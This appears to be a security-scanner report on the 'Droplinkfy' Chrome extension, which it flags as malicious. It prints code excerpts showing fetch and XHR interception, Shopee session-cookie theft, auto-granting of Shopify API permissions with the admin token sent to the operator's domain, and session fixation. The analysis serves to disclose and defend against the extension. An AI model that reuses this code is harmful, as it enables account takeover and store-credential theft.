Droplinkfy

Droplinkfy

ID: lohegmihhijfgdfihpfmbdlmloecfcdj

Extension Info & Metadata

Status
Active
Version
2.0.15
Size
0.11 MB
Rating
4.6/5
Reviews
15
Users
4,000
Type
Extension
Updated
May 7, 2025
Category
Tools
Price
Free
Featured
No
Visibility
Unlisted
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
hourth-chrome-extensionsView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
Yes
Mailbox exists
Yes
Website
Visit
Total Extensions
2
Active
1
Obsolete
1
Listed
1
Unlisted
1
Total Users
4,071
Screenshot 1
Screenshot 2
Screenshot 3

Pacote de ferramentas da Droplinkfy.

Extensão da Droplinkfy para capturar os dados de produtos da Shopee, Aliexpress e Shein.

Item
Type
Severity
Description
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
*://*.shopee.com.br/*
Host
Medium
Host permission — access limited to this URL pattern.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.

The extension replaces the native `window.fetch` with a wrapper that intercepts every HTTP request and response on targeted pages (Shopee, Shein, AliExpress), capturing the full URL, request method, request body, request headers, response body, response status, and response headers before dispatching them to extension-controlled listeners. This is a classic man-in-the-middle network interception pattern that enables the extension to read all API responses the site receives, including authentication tokens, user data, and transaction details.

content/hijacker.js (Line 1075)
window.fetch = async (...args) => {  let errored = false;  let [resource, config] = args;  config = config || {};  try {    if (resource.url)      resource = resource.url;    if (resource.toString)      resource = resource.toString();    if (resource.startsWith("/"))      resource = window.location.origin + resource;  } catch {    errored = true;    console.warn("Could'nt hijack", args);  }  const response = await originalFetch(...args);  if (errored)    return response;  const responseText = await response.clone().text();  dispatch({    sender: "FetchAPI",    source: resource,    requestMethod: config.method || "GET",    requestBody: config.body,    requestHeaders: config.headers || {},    responseText,    responseStatus: response.status,    responseHeaders: Object.fromEntries(response.headers.entries()),  });  return response;};

In parallel with the Fetch API hook, the extension also monkey-patches `XMLHttpRequest.prototype.send` to intercept every XHR request made on targeted pages, capturing the full response body, URL, status, and all response headers. Combined with the Fetch hook this creates a complete interception layer covering all HTTP traffic on Shopee, Shein, and AliExpress, allowing the extension to silently read all data exchanged between the browser and those sites.

content/hijacker.js (Line 1111)
var XHR = XMLHttpRequest.prototype;var send = XHR.send;XHR.send = function() {  this.addEventListener("load", function() {    dispatch({      sender: "XMLHttpRequest",      source: this.responseURL,      responseText: ['', "text"].includes(this.responseType) ? this.responseText : JSON.stringify(this.response),      responseStatus: this.status,      responseHeaders: this        .getAllResponseHeaders()        .split("\r\n")        .reduce((result, current) => {          let [name, value] = current.split(": ");          result[name] = value;          return result;        }, {}),    });  });  return send.apply(this, arguments);};

The extension injects a copy of itself into the page's MAIN world by dynamically creating a `<script>` tag pointing to `chrome.runtime.getURL('content/hijacker.js')`, which is whitelisted in `web_accessible_resources`. This bypasses the content script isolation boundary — the injected script runs with full access to the page's JavaScript environment, where it can overwrite native browser APIs such as `fetch` and `XMLHttpRequest` in a way that the page cannot detect or defend against.

content/hijacker.js (Line 1048)
try {  if (window.__hijacker_state === undefined) {    window.__hijacker_state = "loaded";    const script = document.createElement("script");    script.src = chrome.runtime.getURL("content/hijacker.js");    (document.head || document.documentElement)    .appendChild(script);    script.onload = function() {      script.remove();    }  }} catch {}window.__hijacker_state = "loaded";

During the `createShopeeAccount` flow the extension explicitly reads four Shopee session cookies — `SPC_F` (device fingerprint), `SPC_SI` (session identifier), `csrftoken`, and `shopee_webUnique_ccd` — and transmits them together with the intercepted `captchaSignature` back to the extension runtime, which relays them to the droplinkfy.com domain. These credentials are sufficient to impersonate the victim's Shopee session or perform authenticated actions on their behalf.

content/pages/shopee.js (Line 1249)
Wall.showLoading("Preparando envio dos dados")const SPC_F = await Cookies.get({  name: "SPC_F"});const SPC_SI = await Cookies.get({  name: "SPC_SI"});const csrftoken = await Cookies.get({  name: "csrftoken"});const shopee_webUnique_ccd = await Cookies.get({  name: "shopee_webUnique_ccd"});const cookies = {  SPC_F,  SPC_SI,  csrftoken,  shopee_webUnique_ccd,};Wall.showLoading("Enviando todos os dados necessários");await context.reply({  captchaSignature,  cookies});

When setting up a Shopify private app on the admin panel, the extension automatically checks every permission checkbox on the API integration configuration page, granting the generated API key maximum access to the merchant's Shopify store — including orders, customers, products, and financial data — without explicitly informing the user of the scope being granted.

content/pages/shopifyConfigureApp.js (Line 1279)
function monitorCheckboxes() {  if (window.location.pathname.includes("/configuration/admin_api_integration")) {    progress.textContent = "Progresso: 80%"    updateProgress(3)    const checkboxes = document.querySelectorAll('input[type="checkbox"]');    for (let i = 0; i < checkboxes.length; i++)      if (!checkboxes[i].checked) checkboxes[i].click();    const intervalId = setInterval(async () => {      // ... clicks confirm button in modal    }, 500);  }}

After automatically creating a Shopify private app with all permissions enabled, this code polls the API credentials page to read the generated access token from a text input and then redirects the browser to `droplinkfy.com` with the token and shop domain as URL query parameters. This silently exfiltrates the Shopify Admin API key — granting droplinkfy.com persistent programmatic access to the merchant's entire Shopify store — without any clear disclosure to the user.

content/pages/shopifyConfigureApp.js (Line 1313)
async function monitorApiCredentials() {  if (window.location.pathname.endsWith('api_credentials')) {    clearInterval(timerInterval);    progress.textContent = "Finalizando..."    updateProgress(4)    const button = await querySelectorWithRetry.select('querySelector',      '.Polaris-Button.Polaris-Button--pressable.Polaris-Button--variantPlain.Polaris-Button--sizeMedium.Polaris-Button--textAlignCenter'    );    if (button && !button.querySelector('.Polaris-Button__Icon')) {      button.click();    }    const input = await querySelectorWithRetry.select('querySelector',      '.Polaris-TextField__Input.Polaris-TextField__Input--suffixed.Polaris-TextField--monospaced'    );    if (input) {      const inputInterval = setInterval(() => {        const token = input.value;        if (/[a-zA-Z0-9]/.test(token)) {          window.location.replace(`${origin}?token=${token}&domain=${storeId}.myshopify.com`)          clearInterval(timerInterval)          clearInterval(apiCredentialsInterval);          clearInterval(inputInterval);        }      }, 500);    }  }}

The background service worker receives a `spc_f` value from the droplinkfy.com domain (via the `consult` message flow) and injects it as the `SPC_F` Shopee cookie — a device fingerprint/session token. This constitutes session fixation: an externally controlled value is being written as a Shopee authentication cookie, allowing the operator to predetermine the session identity used when the victim's browser opens Shopee, facilitating account takeover or session sharing.

background.js (Line 1132)
const cookie = await getCookie("SPC_F");if (cookie === null || !!cookie.value || isReset) {  await setCookie("SPC_F", data.spc_f);}sendResponse({});})();return;}

The extension listens for intercepted network traffic matching Shopee's product-detail API endpoint (`/api/v4/pdp/get_pc`) and forwards the full raw response body to the background service worker via `chrome.runtime.sendMessage`. This demonstrates the hijack infrastructure being used to siphon server API responses — in this case product data — but the same mechanism is applied more broadly and can capture any data returned by Shopee's backend to the authenticated user.

content/pages/shopee.js (Line 1107)
window.addEventListener("hijack", async function({  detail}) {  if (/\/api\/v4\/pdp\/get_pc/.test(detail.source)) {    clearTimeout(timeoutID);    console.log("hijacked", detail.responseText);    if (detail.responseText.includes("90309999")) {      isRedirect = true;      return;    }    const response = await chrome.runtime.sendMessage({      event: "data",      data: detail.responseText,    });    console.log("response after hijack", response);    clearInterval(intervalId);  }});

The isolated-world content script acts as a relay bridge that listens for `hijack` events emitted by the MAIN-world network interceptor and forwards matching requests (filtered by registered URL patterns) into the extension's internal messaging bus via `Hijack_propagate`. This design allows MAIN-world interception results — which contain full request and response data — to be consumed by page-specific handlers running in the isolated world, completing the data pipeline from network hook to extension backend.

content/plugins/isolatedWorld.js (Line 1049)
Internal.events["Hijack_register"] = async function(context) {  patterns.push(...context.data.patterns);  await context.reply(null);};window.addEventListener("hijack", async ({  detail}) => {  messages.push(detail);  for (let pattern of patterns) {    const regex = new RegExp(pattern);    if (regex.test(detail.source)) {      detail.pattern = pattern;      Internal.sendMessage({        name: "Hijack_propagate",        data: detail      }, {        sendToWebPage: true      });      break;    }  }});

During the automated Shopee account creation flow, the extension clears all of the user's existing Shopee cookies, localStorage, and sessionStorage. This forced session wipe logs the user out of their existing Shopee account and destroys locally cached data, enabling the extension to inject its own controlled session state (via the `SPC_F` cookie set by the background script) before the new account registration proceeds.

content/pages/shopee.js (Line 1169)
Wall.showLoading("Limpando dados da Shopee");try {  await Cookies.clear();  localStorage.clear();  sessionStorage.clear();} catch (err) {  Logger.err(err);}

By severity

Critical7
High3
Medium0
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.0.1510

Files with findings

5 distinct paths — top paths by unique finding count:

  • content/hijacker.js3
  • content/pages/shopee.js3
  • content/pages/shopifyConfigureApp.js2
  • background.js1
  • content/plugins/isolatedWorld.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
content/hijacker.js (line 1048)The extension injects a copy of itself into the page's MAIN world by dynamically creating a `<script>` tag pointing to `chrome.runtime.getURL('content/hijacker.js')`, which is whitelisted in `web_accessible_resources`…
2Credential Theft
critical
content/pages/shopee.js (line 1249)During the `createShopeeAccount` flow the extension explicitly reads four Shopee session cookies — `SPC_F` (device fingerprint), `SPC_SI` (session identifier), `csrftoken`, and `shopee_webUnique_ccd` — and transmits t…
3Credential Theft
critical
background.js (line 1132)The background service worker receives a `spc_f` value from the droplinkfy.com domain (via the `consult` message flow) and injects it as the `SPC_F` Shopee cookie — a device fingerprint/session token. This constitutes…
4Data Exfiltration
critical
content/pages/shopifyConfigureApp.js (line 1313)After automatically creating a Shopify private app with all permissions enabled, this code polls the API credentials page to read the generated access token from a text input and then redirects the browser to `droplin…
5Network Interception
critical
content/hijacker.js (line 1075)The extension replaces the native `window.fetch` with a wrapper that intercepts every HTTP request and response on targeted pages (Shopee, Shein, AliExpress), capturing the full URL, request method, request body, requ…
6Network Interception
critical
content/hijacker.js (line 1111)In parallel with the Fetch API hook, the extension also monkey-patches `XMLHttpRequest.prototype.send` to intercept every XHR request made on targeted pages, capturing the full response body, URL, status, and all resp…
7Privilege Escalation
critical
content/pages/shopifyConfigureApp.js (line 1279)When setting up a Shopify private app on the admin panel, the extension automatically checks every permission checkbox on the API integration configuration page, granting the generated API key maximum access to the me…
8Data Exfiltration
high
content/pages/shopee.js (line 1107)The extension listens for intercepted network traffic matching Shopee's product-detail API endpoint (`/api/v4/pdp/get_pc`) and forwards the full raw response body to the background service worker via `chrome.runtime.s…
9Network Interception
high
content/plugins/isolatedWorld.js (line 1049)The isolated-world content script acts as a relay bridge that listens for `hijack` events emitted by the MAIN-world network interceptor and forwards matching requests (filtered by registered URL patterns) into the ext…
10Unauthorized Data Collection
high
content/pages/shopee.js (line 1169)During the automated Shopee account creation flow, the extension clears all of the user's existing Shopee cookies, localStorage, and sessionStorage. This forced session wipe logs the user out of their existing Shopee …
URLs
14
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

shopee.com.br-https://shopee.com.br
shopee.com.br/buyer/signuphttps://shopee.com.br/buyer/signup
app.droplinkfy.com/_next/imagehttps://app.droplinkfy.com/_next/image?url=%2FlogoDrop_fade.png&w=1920&q=75
app.droplinkfy.com/_next/imagehttps://app.droplinkfy.com/_next/image?url=%2Flogo.png&w=128&q=75
www.nuvemshop.com.br/loja-aplicativos-nuvem/5378/installhttps://www.nuvemshop.com.br/loja-aplicativos-nuvem/5378/install
www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/xap/1.0/mm/http://ns.adobe.com/xap/1.0/mm/
ns.adobe.com/xap/1.0/sType/ResourceEventhttp://ns.adobe.com/xap/1.0/sType/ResourceEvent#
ns.adobe.com/xap/1.0/sType/ResourceRefhttp://ns.adobe.com/xap/1.0/sType/ResourceRef#
purl.org/dc/elements/1.1/http://purl.org/dc/elements/1.1/
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
2.0.15
Latest
0.11 MB
Malicious
10
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.